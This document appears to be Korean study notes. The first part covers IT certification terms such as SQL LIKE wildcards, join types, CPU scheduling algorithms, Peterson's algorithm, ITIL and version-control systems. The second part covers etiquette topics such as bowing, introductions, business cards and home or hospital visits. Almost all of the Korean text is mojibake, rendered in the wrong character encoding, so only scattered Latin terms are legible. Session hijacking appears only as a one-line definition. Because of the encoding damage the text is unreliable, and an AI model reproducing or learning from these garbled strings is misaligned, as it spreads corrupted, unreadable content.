์ ์์ฐจ์ ์งํ์ ๋ณด์ฅํ๋ ์ง๋ ฌํ ๊ธฐ๋ฒ LIKE ๋ฌธ๋ฒ % : 0๊ฐ ์ด์์ ๋ฌธ์์ด๊ณผ ์ผ์น [ ] : 1๊ฐ์ ๋ฌธ์์ ์ผ์น [^ ] : 1๊ฐ์ ๋ฌธ์์ ๋ถ์ผ์น _ : ํน์ ์์น์ 1๊ฐ ๋ฌธ์์ ์ผ์น ๊ด๊ณ ํด์ : ๋น์ ์ฐจ์ ์ธ์ด; ๊ด๊ณ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ฐ์ดํฐ๋ฅผ ์ง์ํ๊ธฐ ์ํ ์ํ์ ํํ ๋ฐฉ๋ฒ ALL : ์ฃผ๋ก ์๋ธ์ฟผ๋ฆฌ์์ ์ฌ์ฉํ๋ ๋ค์คํ ์ฐ์ฐ์; ๋ชจ๋ ํ์ด ์กฐ๊ฑด์ ๋ง์กฑํด์ผ ํจ ANY : ์ฃผ๋ก ์๋ธ์ฟผ๋ฆฌ์์ ์ฌ์ฉํ๋ ๋ค์คํ ์ฐ์ฐ์; ํ๋ ์ด์์ ํ์ด ์กฐ๊ฑด์ ๋ง์กฑํ๋ฉด ์ฐธ ๊ด๊ณ๋์ ๊ธฐํธ: $\cup$(ํฉ์งํฉ), $-$(์ฐจ์งํฉ), $\times$(์นดํฐ์
๊ณฑ), $\pi$(ํ๋ก์ ํธ), $\bowtie$(์กฐ์ธ), $\sigma$(์ ํ), $\div$(๋๋์
) ์กฐ์ธ ๋ฐฉ์ Theta Join : ์กฐ์ธ ์กฐ๊ฑด์ด ๋ฑํธ๊ฐ ์๋ ๋ค๋ฅธ ๋น๊ต ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ๋ ์กฐ์ธ ๋ฐฉ์ Equi Join : ์กฐ์ธ ์กฐ๊ฑด์ด ๋ฑํธ(=)์ธ ์กฐ์ธ ๋ฐฉ์ Natural Join : ๋ ๋ฆด๋ ์ด์
์ ๊ณตํต ์์ฑ์ ๊ธฐ์ค์ผ๋ก ์๋์ผ๋ก ์กฐ์ธํ๋ ๋ฐฉ์ ์ธ์
ํ์ด์ฌํน (Session Hijacking) : ์ฌ์ฉ์์ ์ธ์
์ ํ์ทจํ์ฌ ๋ถ๋ฒ์ ์ผ๋ก ์ ๊ทผํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ OS ๊ด๋ จ ๊ฐ๋
๋ง์ดํฌ๋ก์ปค๋ : ๋ค์ํ ์๋น์ค๋ฅผ Kernel Mode๊ฐ ์๋ User Mode์์ ์ฒ๋ฆฌํ๋ ์ด์ํ ์ปค๋ ํ๋ก์ธ์ค ์ค์ผ์ฅด๋ง SJF(Shortest Job First) : ๊ฐ์ฅ ์งง์ ์์
์ ๋จผ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์ HRN (Highest Response Ratio Next) : ๋๊ธฐ ์๊ฐ๊ณผ ์๋น์ค ์๊ฐ์ ๊ณ ๋ คํ์ฌ ์ฐ์ ์์๋ฅผ ๊ฒฐ์ ํ๋ ๋ฐฉ์ RR(Round Robin) : ๊ฐ ํ๋ก์ธ์ค์ ๋์ผํ ์๊ฐ ํ ๋น๋์ ์ฃผ๊ณ ์ํ์ ์ผ๋ก ์ฒ๋ฆฌํ๋ ๋ฐฉ์ SRTF(Shortest Remaining Time First) : ๋จ์ ์คํ ์๊ฐ์ด ๊ฐ์ฅ ์งง์ ํ๋ก์ธ์ค๋ฅผ ๋จผ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์ ํผํฐ์จ ์๊ณ ๋ฆฌ์ฆ : ๋ ํ๋ก์ธ์ค ๊ฐ์ ์ํธ ๋ฐฐ์ ๋ฅผ ๋ณด์ฅํ๋ ์๊ณ ๋ฆฌ์ฆ; ํ๋๊ทธ์ ํด์ ์ฌ์ฉํ์ฌ ์ํธ ๋ฐฐ์ ์ ์ง์
ํ์ฉ์ ๊ตฌํ ๊ธฐํ ๊ฐ๋
ํผ์ฝ๋ท : ์ฌ๋ฌ ๊ฐ์ ๋
๋ฆฝ๋ ์ฅ์น๊ฐ ๋ธ๋ฃจํฌ์ค ๊ธฐ์ ์ด๋ UWB ํต์ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ํต์ ๋ง์ ํ์ฑํ๋ ๋ฌด์ ๋คํธ์ํฌ ๊ธฐ์ ์ง๊ทธ๋น :์ ์ ์ ์ก ์๋๋ฅผ ๊ฐ๋ ํ์คํ ๋ฉ์ด์
๋ฐ ๋ฐ์ดํฐ ๋คํธ์ํฌ๋ฅผ ์ํ ํ์ค ๊ธฐ์ ํด๋ฆฌ์ด๋ง ํ์ฐ์ค : ๋์งํธ ์ ์๊ถ ๋ผ์ด์ ์ฑ์ ์ค๊ฐํ๊ณ ๋ผ์ด์ ์ค ๋ฐ๊ธ์ ์ํํ๋ ์ ์ฐ์ ๋ฐ์ดํฐ ๋งํธ : ๋ฐ์ดํฐ์ ํ ๋ถ๋ถ์ผ๋ก์ ํน์ ์ฌ์ฉ์๊ฐ ๊ด์ฌ์ ๊ฐ๋ ๋ฐ์ดํฐ๋ค์ ๋ด์ ๋น๊ต์ ์์ ๊ท๋ชจ์ ๋ฐ์ดํฐ ์จ์ดํ์ฐ์ค OLAP : ์จ๋ผ์ธ ๋ถ์ ์ฒ๋ฆฌ; ๋ฐ์ดํฐ ์จ์ดํ์ฐ์ค์ ๋ฐ์ดํฐ๋ฅผ ์ ๋ต์ ์ธ ์ ๋ณด๋ก ๋ณํ์์ผ์ ์์ฌ๊ฒฐ์ ์ ์ง์ํ๋ ์ญํ ์ํ semantic web : ์น ์์ ์ ๋ณด์ ์๋ฏธ๋ฅผ ๋ถ์ฌํ์ฌ ๊ธฐ๊ณ๊ฐ ์ดํดํ ์ ์๋๋ก ํ๋ ๊ธฐ์ ์จํจ๋ก์ง(Ontology) : ํน์ ๋๋ฉ์ธ์ ๋ํ ๊ฐ๋
๊ณผ ๊ทธ๋ค ๊ฐ์ ๊ด๊ณ๋ฅผ ์ ์ํ๋ ๋ช
์ธ ๋์งํธ ์์นด์ด๋น : ๋์งํธ ์๋ฃ๋ฅผ ์ฅ๊ธฐ์ ์ผ๋ก ๋ณด์กดํ๊ณ ๊ด๋ฆฌํ๋ ๊ณผ์ CEP(Complex Event Processing) : ์ค์๊ฐ์ผ๋ก ๋๋์ ์ด๋ฒคํธ๋ฅผ ์ฒ๋ฆฌํ๊ณ ๋ถ์ํ๋ ๊ธฐ์ ๋
ธ๋ชจํฌ๋น์ : ์ค๋งํธํฐ์ ์์ด๋ฒ๋ฆฌ๊ฑฐ๋ ์ฌ์ฉํ ์ ์๋ ์ํฉ์ ๋ํ ๋ถ์๊ฐ ITIL(Information Technology Infrastructure Library) : ์๊ตญ ์ ๋ถ๊ฐ ๋ค์ํ IT ์๋น์ค๋ค์ ๊ด๋ฆฌ ๋ฐฉ๋ฒ๋ค์ ๋ชจ์ ๋ง๋ ํ์ค์ ์ธ ์ฐธ๊ณ ๋ฌธ์ ๋ฐ์ดํฐ ๋ง์ด๋ : ๋๋์ ๋ฐ์ดํฐ์์ ์ ์ฉํ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๊ณผ์ ์คํ ์คํ : ์ํ์น ๋ผ์ด์ ์ค๋ก ๋ฐฐํฌ๋๋ ํด๋ผ์ฐ๋ ํ๋ซํผ ํ๋ก์ ํธ BCP(Business Continuity Planning) : ์ฌํด ๋ฐ์ ์ ๋น์ฆ๋์ค ์ด์์ ์ง์ํ๊ธฐ ์ํ ๊ณํ Trust Zone : ARM์์ ๊ฐ๋ฐํ ๋ณด์ ๊ธฐ์ ๋ก, ํ๋์จ์ด ๊ธฐ๋ฐ์ ๋ณด์ ์์ญ์ ์ ๊ณตํ์ฌ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ณดํธํ๋ ๊ธฐ์ WSDL (Web Services Description Language) : ์น ์๋น์ค์ ๊ธฐ๋ฅ์ ๊ธฐ์ ํ๋ XML ๊ธฐ๋ฐ์ ์ธ์ด EAI : ๊ธฐ์
๋ด ๋ค์ํ ์์คํ
๊ฐ์ ๋ฐ์ดํฐ ํตํฉ ๋ฐ ์ํธ ์ด์ฉ์ฑ์ ์ํ ์๋ฃจ์
NUI (Natural User Interface) : ์ ์ฒด๋ฅผ ํ์ฉํ ์ฌ์ฉ์ ์ธํฐํ์ด์ค ์ํธํ ์๊ณ ๋ฆฌ์ฆ : AES, DES, RSA, IDEA, Skipjack CVS : Concurrent Versions System; ๋ถ์ฐ ๋ฒ์ ๊ด๋ฆฌ ์์คํ
; ์ค์ ์ง์ค์ ๋ฒ์ ๊ด๋ฆฌ ์์คํ
SVN : Subversion; ๋ฒ์ ๊ด๋ฆฌ ์์คํ
์ ์ผ์ข
; CVS์ ๋จ์ ์ ๋ณด์ํ๊ธฐ ์ํด ๊ฐ๋ฐ๋จ ๊ธ๋ก๋ฒ ๋งค๋ ๋งค๋ ์ธ๊ฐ๊ด๊ณ๋ฅผ ๋งบ๋๋ฐ ์์ด ์ค์ํ ์์
์ด์ : Manus(์, ํ๋, ์ต๊ด) + Arius(๋ฐฉ๋ฒ, ๋ฐฉ์)
๋งค๋์ ๊ธฐ๋ณธ(1)
๋ค๋ฅธ ์ฌ๋์ ์ธ๊ฒฉ์ ์กด์คํ๊ณ , ๋ฐฐ๋ คํ๋ ๋ง์์ ๊ฐ์ง๊ณ , ํธ์ํ๊ฒ ํด์ฃผ๊ฑฐ๋ ๊ธฐ์๊ฒ ๋ง๋ค๋ ค๋ ํ๋๋ฐฉ์
๋งค๋์ ๊ธฐ๋ณธ(2)
์ญ์ง์ฌ์ง (ๆๅฐๆไน)
๋งค๋์ ๊ธฐ๋ณธ(3)
ํ์์ ์น์ฐ์น์ง ๋ง๊ณ , ๋ฐฐ๋ คํ๋ ๋ง์์ ์ ๋ฌํ๋ ๊ฒ
๋งค๋์ ์ํฐ์ผ์ ์ฐจ์ด ๋งค๋(์์) : ์ํฉ์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ํํ ๊ฐ๋ฅ ์ํฐ์ผ(๋ฒ์ ) : ํ์๊ณผ ์ ์ฐจ๋ฅผ ์ค์์ ํจ ๋์์ ๋งค๋ 5๋
์ธ, ์, ์, ์ง, ์
5๋ฅ
๊ตฐ์ ์ ์ : ์๊ธ์ ์๋ก์์ผ ํ๊ณ ์ ํ๋ ์ถฉ์ฑ์ค๋ฌ์์ผ ํ๋ค ๋ถ์์ ์น : ๋ถ๋ชจ๋ ์๋
์๊ฒ ์ธ์ํ๊ณ ์๋
๋ ๋ถ๋ชจ๋ฅผ ๊ณต๊ฒฝํด์ผํ๋ค. ๋ถ๋ถ์ ๋ณ : ์๋ก์ ์ญํ ์ ์นจ๋ฒํ์ง ์์์ผ ํ๋ค ์ฅ์ ์ ์ : ์ด๋ฅธ๊ณผ ์ด๋ฆฐ์์ด ์ฌ์ด์๋ ์ง์๊ฐ ์์ด์ผ ํ๋ค ๋ถ์ฐ์ ์ : ์น๊ตฌ ์ฌ์ด์๋ ์ ๋ขฐ๊ฐ ์์ด์ผํ๋ค ์์์ ๋งค๋ (๊ธฐ์ : ์ฑ๊ฒฝ) ์๊ธฐ๋ฅผ ๋์ด๋ ์ฌ๋์ ๋ฎ์์ง๊ณ ์๊ธฐ๋ฅผ ๋ฎ์ถ๋ ์ฌ๋์ ๋์์ง๋ค ๋ค๊ฐ ๋์ ๋ฐ๊ณ ์ ํ๋ ๋๋ก ๋ค๋ฅธ ์ฌ๋์๊ฒ ํํ๋ผ ๋ค ์ด์์ ๋ค ๋ชธ์ฒ๋ผ ์ฌ๋ํ๋ผ ๋์์ ๋งค๋์ ์ฐจ์ด ๊ณตํต์ : ๋จ์ ์กด์คํ๊ณ ๋ฐฐ๋ คํจ ์ฐจ์ด์ : ๋์ -> ๋จ์ฑ์ฐ์ , ์์ -> ์ฌ์ฑ์ฐ์ ์๊ฐ์ ์ธ์ฌ 1 ์๊ธฐ์๊ฐ ์ฑ๊ณผ ์ด๋ฆ (OOO ์
๋๋ค)
์ฑ์ O๊ฐ, ๋ณธ๊ด์ OO ์
๋๋ค
์๋ฒ์ง ํจ์๋ ํ ๊ธธ์ ๋์ ์
๋๋ค
์๊ฐ๋ ์ผ์ด๋์
์๋๊ณผ ์ฃผ์ธ์ ์ธ์ฌ ์ ์๋์ด ๋จผ์ ์ธ์ฌํ๋ค
์งํฉ-์ด๋ฆ ์์ผ๋ก ์๊ธฐ์๊ฐ ํ๋ค
ํ์ฌ ์ง๊ธ ์ฌ์ฅ - ์ ๋ฌด - ์ด์ฌ - ๋ถ์ฅ - ์ฐจ์ฅ - ๊ณผ์ฅ - ๋๋ฆฌ - ์ฃผ์ - ์ฌ์
์๊ฐ ์์ ์์๋ซ์ฌ๋์ ์์์ฌ๋์๊ฒ ๋ฏธํผ์๋ฅผ ๊ธฐํผ์์๊ฒ ํ ์ฌ๋์ ๊ทธ๋ฃน์๊ฒ, ๊ทธ๋ฃน์์ ๋์ ์ฌ๋ ๋ถํฐ (๊ทธ๋ฃน ์ข์ธก ๋ถํฐ) ์๊ฐ ์ ๋งคํ ๊ฒฝ์ฐ “OO๋ถํฐ ์๊ฐ๋๋ ค๋ ๋ ๊น์?” ๋ฉํธ ์ง์, ์ฐ๋ น, ์ฑ๋ณ์ ๋ฌด์ํ๊ณ ์๊ธฐ ๊ฐ์กฑ์ ํ์ธ์๊ฒ ๋จผ์ ์๊ฐ ์์ ์๊ฐ ์๊ฐ ๋ชฉ์ ๊ณผ ๋ณธ์ธ๊ณผ์ ๊ด๊ณ๋ฅผ ๋ฐํ ๊ฐ๋ดํ ์ํ์๋ก ์๋ขฐํ ์ฌ๋์๊ฒ ์ ๋ฌ : ์๋ขฐ์๋ ๋ด์ฉ์ ํ์ธ ํ ๊ฒ ์๊ฐ์ฅ์ ์จ ์ฃผ์ ๋ถ์๊ฒ ์งํ์ํฉ ๋ง์๋๋ฆด ๊ฒ ์ธ์ฌ ๋ง๋ฌ์ ๋๋ ํค์ด์ง ๋ ์๋ฅผ ํํ๋ ๋ง์ด๋ ํ๋
์ธ์ฌ์ ๊ธฐ๋ฅ ์๋๋ฐฉ์ ๋ํ ํ์๊ณผ ํธ์๋ฅผ ํ์ ์๋๋ฐฉ๊ณผ์ ๊ด๊ณ๋ฅผ ์ค๋ช
ํด์ค๋ค ์ฒ์ ๋ง๋๋ ์๋์ ๋ํ ๊ฒฝ๊ณ์ฌ๊ณผ ๋ถ์๊ฐ ํด์ ๊ณต์ ๋ ์์ ๋ชจ์ ์์ผ๋ก ์ก๋ ๊ฒ ์ ์ ๊ธฐ๋ณธ ์์ธ ์์๋ซ ์ฌ๋์ ์์ธ ๋จ์๋ ์ผ์์ ์, ์ฌ์๋ ์ค๋ฅธ์์ ์ (ํ์ฌ ์ ๋ฐ๋๋ก) ์๋ก (์) ๊ณต์ํ ์์ ์ฌ๋ฆฌ๋ ๊ฒ (์ ํ๊ธฐ ์ ์) ์๊ฐ์ ์ธ์ฌ 2 ์ฐ๋ฆฌ๋๋ผ ์ ์ ์ข
๋ฅ ํฐ์ : ๋ถ๋ชจ๋, ์กฐ๋ถ๋ชจ๋๊ป, ์๋กํ์ฌ์, ์ฅ๋ก์๋ ์์ ์์ ํ์ : ์ฅ๋ก์์์ ์์ฃผ์ ํ๋ ์ ๋ฐ์ : ์์ด๋ฅธ์ด ์๋ซ์ฌ๋์ ์ ์ ๋ํด ๋ต๋ฐฐ ํ ๋ ์ฌ์ฑ์ ํฐ์ ๊ณต์์์ธ (์ค๋ฅธ์์ด ์๋ก) ๊ณต์ํ ์์ ์ด๊นจ ๋์ด๋ก ์ฌ๋ฆฐ๋ค. ๊ณ ๊ฐ๋ฅผ ์์ฌ์ ์ด๋ง๋ฅผ ์๋ฑ์ ๋ถ์ธ๋ค (์์ ๋์ด < ์ด๊นจ) ์ฒ์ฒํ ์์ผ๋ฉด์ ์ผ์ชฝ ๋ฌด๋ฆ์ ๋จผ์ ๊ฟ๋๋ค ์ค๋ฅธ๋ฐ์์ ์ผ๋ฐ์ ํฌ๊ฐ ๋ค (์์ด๋ ๋ฐ๋) ์๋ฉ์ด๋ฅผ ๋ด๋ ค ๊น๊ฒ ์๋๋ค ๋ชธ์ 45๋ ์์ผ๋ก ๊ตฝํ๋ค (์๋ฑ์ ์ด๋ง์์ ๋ผ์ง ๋ง๊ฒ) ์ค๋ฅธ์ชฝ ๋ฌด๋ฆ๋ถํฐ ์ผ์ด๋๋ค ์ ์ด ๋๋๋ฉด ์์ ๋ด๋ฆฐ๋ค ๊ณต์ํ ์ฑ ๋ชธ์ 15๋ ๊ตฝํ ์๋ฅผ ํํ (๊ตด์ ๋ก) ์ฌ์ฑ์ ํ์ ๊ณต์์์ธ (์ค๋ฅธ์์ด ์๋ก) ๊ณต์ํ ์์ ํ์ด ์์์ผ๋ก ๋ด๋ฆฐ๋ค ์ฒ์ฒํ ์์ผ๋ฉด์ ์ผ์ชฝ ๋ฌด๋ฆ์ ๋จผ์ ๊ฟ๋๋ค ์ค๋ฅธ๋ฐ์์ ์ผ๋ฐ์ ํฌ๊ฐ ๋ค ์๋์ด ๋ฐ๊นฅ์ ํฅํ๋๋ก ํ์ฌ ๋ฐ๋ฅ์ ๋๋ค ํ๋ฆฌ๋ฅผ 30๋ ๊ตฝํ๋ค๊ฐ ํ๋ฆฌ๋ฅผ ํด๋ฉฐ, ์์์ ๋ฐ๋ฅ์์ ๋ผ๊ณ ์ฒ์ฒํ ์ผ์ด๋๋ค ์ค๋ฅธ์ชฝ ๋ฌด๋ฆ๋ถํฐ ์ผ์ด๋๋ค ๊ณต์ํ ์ฑ ๋ชธ์ 30๋ ๊ตฝํ ์๋ฅผ ํํ (๊ตด์ ๋ก) ๋จ์ฑ์ ํฐ์ ๊ณต์์์ธ (์ผ์์ด ์๋ก) ์๋ก ๊ณต์ํ ์์ ๋์น ๋์ด๋ก ์ฌ๋ฆฐ๋ค ํ๋ฆฌ์ ๋ฌด๋ฆ์ ๊ตฝํ ๊ณต์ํ ์์ผ๋ก ๋ฐ๋ฅ์ ์ง๋๋ค ์ผ์ชฝ ๋ฌด๋ฆ์ ๋จผ์ ๊ฟ๋๋ค ์ผ๋ฐ์ด ์์ ๋๊ฒ ๋ฐ๋ฑ์ ํฌ๊ฐ ๋ค ํ๊ฟ์น๋ ์ด์ง ์๊ณ ๋ชธํต ์ชฝ์ผ๋ก ๋ถ์ด๊ณ ์ด๋ง๋ฅผ ๊ณต์ํ ์์ ๋๋ค ์ค๋ฅธ์ชฝ ๋ฌด๋ฆ๋ถํฐ ์ผ์ด๋๋ค ๊ณต์ ๋จ์์ ํ์ ๋ชจ๋ ๋์์ ํฐ์ ๊ณผ ๋์ผํ๋ค ๋ค๋ง ์๋ก๋ฅผ ํ์ง์๊ณ , ์ด๋ง๊ฐ ์๋ฑ์ ๋ฟ์ผ๋ฉด ์ฆ์ ์ผ์ด๋๋ค ๋ฐํ ์ฌ์ฑ : ํ์ ์์ ์์ธ๊น์ง ๋จ์ฑ : ๋ฌด๋ฆ์ ๊ฟ์ ์ํ์์ ๋จธ๋ฆฌ์ ์๋ฉ์ด๊ฐ ์ํ ์ดํ์ ๊ณต์์์ธ ํ์ X ๊ฒฝ๋ก 3๋ณด ์์์ ๋ฉ์ถค, ๋์ ๋ง์ฃผ์นจ, ์ธ์ฌ๋ง ๊ฑด๋ด, ๊ฒฝ๋ก, ๋ค์ ๋์ ๋ง์ฃผ์นจ ๋จ์๋ ์์ชฝ ์์ ๊ฐ๋ณ๊ฒ ์ฃผ๋จน์ ์ฅ ์ํ์์ ๋ฐ์ง ์์ค์ ๋๊ณ ๊ฒฝ๋ก ์ฌ์๋ ์์ผ๋ก ๋ชจ์ ๊ณต์ํ ์ํ์์ ๊ฒฝ๋ก ๊ฒฝ๋ก์ ์ข
๋ฅ ์๋ก์ ๊ฒฝ๋ก (90๋) : ๊ดํผ์์ ํฐ๊ฒฝ๋ก (45๋) : ํน๋ณํ ๊ฐ์ฌ, ์ฌ๊ณผ, ์กด๊ฒฝ ํ๊ฒฝ๋ก (30๋) : ํ์ ์ ๋ฐ๊ฒฝ๋ก (15๋) : ์นํ ์ฌ์ด ๋ชฉ๋ก ๋ฐ๋ณต์ ์ธ ๋ง๋จ ๋ณดํ ์ค ์ผ๋ฐ ๊ฒฝ๋ก๋ฅผ ํ ์ ์์ ๋ ์
์ ์์์ฌ๋์ด ์์๋ซ์ฌ๋์๊ฒ ์ฒญํจ ์์๋ซ์ฌ๋์ ๊ฐ๋ฒผ์ด ๋ชฉ๋ก๋ฅผ ํ๋ฉด์ ์
์ ์ด์ฑ ๊ฐ์๋ ์ฌ์ฑ์ด ๋จผ์ ์
์๋ฅผ ์ฒญํจ (๋ชฉ๋ก, ๋ฏธ์๋ก ๋์ฒด ๊ฐ๋ฅ) ์ ์ ํ ์ธ์ฌ๋ง ์์์ฌ๋์๊ฒ ์๊ณ ํ์ญ์์ค X ์ธ๊ณ ๊ฐ ๊ตญ์ ์ธ์ฌ๋ฒ ์ธ๋ ๋๋ง์คํ
(๋๋ง : ์ธ์ฌํ๋๋ค, ์์ค : ๋, ํ
: ๋)
๋๋ ๋น์ ํํ
์ธ์ฌํฉ๋๋ค
์ค๋ ์์ฌ๋ ์๋ผ์ด์ฟฐ (์์ด๋: ํํ๊ฐ, ์๋ผ์ด: ~์์, ์ฟฐ: ๋น์ ๋ค)
์ค๊ตญ ์ ํ๋ค๊ธฐ (๋์ด์ ์๊ด์์ด)
๊ณต์ (์์ด ๊ฐ์ด์์ ์์น)
ํ๊ตญ ์์ด (Wai) : ์์ ํฉ์ฅํ ๋ชจ์ต์ด Y์ ๋น์ท
์์๋ซ์ฌ๋์ด ๊ณ ๊ฐ๋ฅผ ๊น์ด ์์ด๊ณ , ์์ ๋์ด ๋ ๋ค
์ฌ์๋์บ
: ์๋
ํ์ธ์
๋ช
ํจ ๋งค๋ ๋ช
ํจ์ ๊ธฐ๋ฅ ์๊ธฐ๋ฅผ ์๊ฐํ๊ณ ์๋๋ฐฉ์ผ๋ก ํ์ฌ๊ธ ์๊ธฐ๋ฅผ ๊ธฐ์ตํ๊ฒ ํจ ์ธ๊ฐ๊ด๊ณ ํ์ฑ๊ณผ ์ธ๋งฅ๊ด๋ฆฌ์ ์ค์ํ ๋๊ตฌ ์น๋ถ์ ์์ : ์ฒซ ์ธ์์ ์ข์ฐ, ์๋ฅผ ๋คํด์ผ ํจ ๋ช
ํจ์ ์ข
๋ฅ ์ฌ๊ต์ฉ ๋ช
ํจ (์ฑ๋ช
, ์ฃผ์) ๋ฉ์์ง ์นด๋๋ ์ด์ฒญ์ฅ ๋์ ์ฌ์ฉ ์
๋ฌด์ฉ ๋ช
ํจ (์ฌ์ง, ์ฑ๋ช
, ์ง์ฅ ์ฃผ์, ๋ก๊ณ ๋ฑ) (๋ฏธ๊ตญ) ์ฌ์ฅ, ์ค์ญ์ฉ : ๋ช
ํจ ์ค์์ ์ด๋ฆ, ํ๋จ์ ์ง์์ ํ์ฌ๋ช
(๋ฏธ๊ตญ) ์ฌ์์ฉ : ์ค์์ ํ์ฌ๋ช
, ์ข์ธก ํ๋จ์ ์ฑ๋ช
, ์์๋ถ์, ์ฃผ์ ๋ฑ ๋ช
ํจ ๊ตํ ๋ฐฉ๋ฒ ์๊ฐํ๊ณ ์๋ก ๋ช
ํจ๋ถํฐ ๊ตํ
(์์) ํค์ด์ง ๋ ํ์ํ ๊ฒฝ์ฐ ๊ตํ
๋ช
ํจ์ ์ค ๋
๋ช
ํจ์ ๋ช
ํจ ์ง๊ฐ์ ๋ฃ์ด์ ์ ๊ณ ๋ฆฌ ์์ฃผ๋จธ๋์ ๋ณด๊ด ์ -> ๊ฐ ์ ์์ธ์์ ๊ตํ ํ๋ค. ํ
์ด๋ธ ์์ ๋๊ณ ๋ฐ๊ฑฐ๋, ์๋ฅ ๋ดํฌ์ ํจ๊ป X ์ผ์ด์์, ์ ์คํ๊ฒ ์ธ์ฌํ๊ณ , ์ด๋ฆ์ด๋ ์์์ ๋ฐํ๋ฉด์, ๋ ์์ผ๋ก ๊ฑด๋จ๋ค ๋ช
ํจ ๊ธ์๊ฐ ์๋๋ฐฉ ์ชฝ์์ ๋ฐ๋ฅด๊ฒ ๋ณด์ด๊ฒ ๊ฑด๋จ๋ค ์์ฌ๊ฐ ๋จผ์ ๊ฑด๋ค๊ณ ์๊ธฐ ๋ช
ํจ์ ๊ฑด๋ฌ ๊ฒ ์๋๊ฐ ๋ ์ฌ๋ ์ด์์ด๋ฉด ์์ฌ๋์๊ฒ ๋จผ์ ๊ฑด๋จ๋ค ์ค๊ฐ์ ํ
์ด๋ธ ๊ฐ์ ์ฅ์ ๋ฌผ์ด ์๋ค๋ฉด ๋ ์ฌ์ด์ ์ฅ์ ๋ฌผ์ด ์๋ ์ํ์์ ๋ช
ํจ์ ๊ตํํ ๊ฒ ๋ช
ํจ์ ๋ฐ์ ๋
์ผ์ด์์, ๋ ์์ผ๋ก, ๋ชจ์๋ฆฌ๋ฅผ ์ก๊ณ (๋ช
ํจ์ ๊ฐ๋ฆฌ์ง ์๊ณ ) ๋ฐ๋๋ค ๋ฐ์ผ๋ฉด ์์ ์ ๋ช
ํจ์ ์ค ๊ฒ, ํ ์ฌ๋์ฉ ์ฃผ๊ณ ๋ฐ๋๋ค ์๋๋ฐฉ์ ๋ช
ํจ์ ๋๊ณ ๊ฐ๋ ๊ฒ์ ์ค๋ก ํ์ ํ ๋ ์๋ฆฌ์ ๋ฐ๋ผ ํ
์ด๋ธ์ ๋ช
ํจ์ ์ฌ๋ ค ๋์ ์ ์์ ์๋๋ฐฉ์ ๋ช
ํจ์ ์ฝ๊ณ ์ง๊ฐ์ ๋ฃ์ ๊ฒ ๋ช
ํจ ๋ณด๊ด
๋ช
ํจ ํ๋๋ ๋ฐ์ธ๋์ ์ ์ ๋ฆฌ (์ง์ฅ๋ณ, ๊ฐ์ธ๋ณ, ๋ชจ์๋ณ) ๋ช
ํจ์ ๊ธฐ์ฌ๋ ์ฌํญ์ด ๋ณ๊ฒฝ๋๋ ๊ฒฝ์ฐ ์ฌ๋ฐฑ์ ๋ฉ๋ชจ ์ฐ 1ํ ์ ๋ฆฌ ์ฌ๊ต๋งค๋ ๋ฐฉ๋ฌธ ์ ๋ ์์ ์ถ์ฐ ๋ฐฉ๋ฌธ ๋ฐฉ๋ฌธ ์ ๊ธฐ๋ณธ ๋งค๋ ๋ฐฉ๋ฌธ์ ํ ๊ฒฝ์ฐ ๋ฐฉ๋ฌธ์ ๋ํ ์ฝ์์ด ์ ํ
์
๋ฌด ๊ด๋ จ ๋ฐฉ๋ฌธ์ด ์๋๋ผ๋ฉด, ๋ถ๋ถ ๋๋ฐ
์๋๋ฐฉ์ ์ทจํฅ ๊ณ ๋ ค ์ ๋ฌผ ์ค๋น
๋ฐฉ๋ฌธ ์๊ฐ : ์คํ 3์~5์ ์ ๋น
๋ณ๋ฌธ์, ์กฐ๋ฌธ ์ ์ธํ๊ณ ๋ ์ค์ ์๊ฐ์ ์ผ๊ฐ
๊ฐ์ ์ผ๋ก์ ๋ฐฉ๋ฌธ ์ด์ธ์ข
์ ๋๋ฅด๊ธฐ ์ ์ ์ท์ฐจ๋ฆผ๊ณผ ๋ฐฉ๋ฌธ ๋ชฉ์ ์ ์ ๊ฒ
์ค๋นํ ์ ๋ฌผ์ ์์ฃผ์ธ์๊ฒ ์ ๋ฌ
๊ฑฐ์ค์์๋ ์
๊ตฌ ๊ฐ๊น์ด ๊ณณ์ด ํ์, ๊ทธ ๋ฐ๋๊ฐ ์์
์์ ์ค์ ๊ธด ์ํ์ ์๋ฝ์์๊ฐ ์์ ๋ ๊ธด ์ํ๊ฐ ์๋์ฉ
์์ฌ์๊ฐ์ ํผํ๋ ๋ถ๋์ดํ ๊ฒฝ์ฐ ๋๋ฌด ์ฌ์ํ์ง ์๋๋ก
๋ถ์ฌ ์๋ ๋ช
ํจ์ ๋จ๊ธฐ๋๋ก
๋ฐฉ๋ฌธ ํ ๋ฐ๋์ ์ ํ๋ก ๊ฐ์ฌ๋ฅผ ํ์
์ง์ฅ์ผ๋ก์ ๋ฐฉ๋ฌธ ๋
ธํฌ๋ฅผ ํ ํ ์
์คํ ๊ฒ
๊ณต์ฉ์ฌ๋ฌด์ค์ธ ๊ฒฝ์ฐ ๋๋ฃ ์ง์๋ค์๊ฒ ๊ฐ๋จํ ๋ชฉ๋ก
์๋๋ฐฉ์ ์ผ์ ์ ํ์
๋ณ์์ผ๋ก์ ๋ฐฉ๋ฌธ ๋ณ๋ฌธ์์ ๋น ๋ฅผ ์๋ก ์ข์ผ๋ฉฐ ๋ฐฉ๋ฌธ์ ์ ๋ฏธ๋ฆฌ ์๋ฆด ๊ฒ
๋ฌธ๋ณ ์๊ฐ: 20~30๋ถ์ด ์ ๋น
์์ฌ์๊ฐ๊ณผ ์น๋ฃ์๊ฐ์ ํผํด ์คํ 2์ ~ 5์
ํ์๊ฐ ์ํ๋ ๊ฒ์ ๋ฌผ์ด๋ณด์ ์ค๋น
๊ฝ์ ์ผ๊ฐ (๊ฝ๊ฐ๋ฃจ)
์ ๋ ์ ๋๋งค๋ ์์ ์ค๋ก ์๋ดํ๋ฉฐ ์๋ฆฌ๋ฅผ ๊ถํ ํ ์๋์๊ฒ ๊ฐ์กฑ๋ค์ ์๊ฐ
์๋์ด ์์งํ ๋๋ ์ฅ์ ๋ง๋ จ
์ฐจ๋ ์๋ ์ํฅ์ ๋ฌผ์ด ๋์
